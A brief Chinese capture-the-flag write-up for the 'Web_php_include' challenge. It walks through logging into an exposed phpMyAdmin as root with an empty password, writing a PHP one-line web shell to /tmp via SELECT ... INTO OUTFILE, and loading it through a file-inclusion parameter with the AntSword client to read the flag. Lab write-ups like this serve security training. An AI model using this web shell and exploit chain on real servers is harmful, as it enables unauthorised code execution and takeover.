攻防世界-Web_php_include

先用御剑扫一下

发现有phpmyadmin的登录地址

http://61.147.171.105:64507/phpmyadmin/

phpMyAdmin默认已有root用户，其默认密码为空

登陆成功后在SQL查询里执行一句话木马

 select "<?php @eval($_POST['1']);?>" into outfile '/tmp/1.php'

则要连接的URL为  http://61.147.171.105:64507/?page=/tmp/1.php

使用蚁剑，先测试一下，连接成功

 拿到flag

 ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}